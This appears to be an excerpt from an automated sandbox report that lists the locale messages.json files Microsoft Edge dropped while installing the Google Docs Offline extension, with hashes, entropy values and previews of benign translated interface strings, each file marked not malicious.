C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
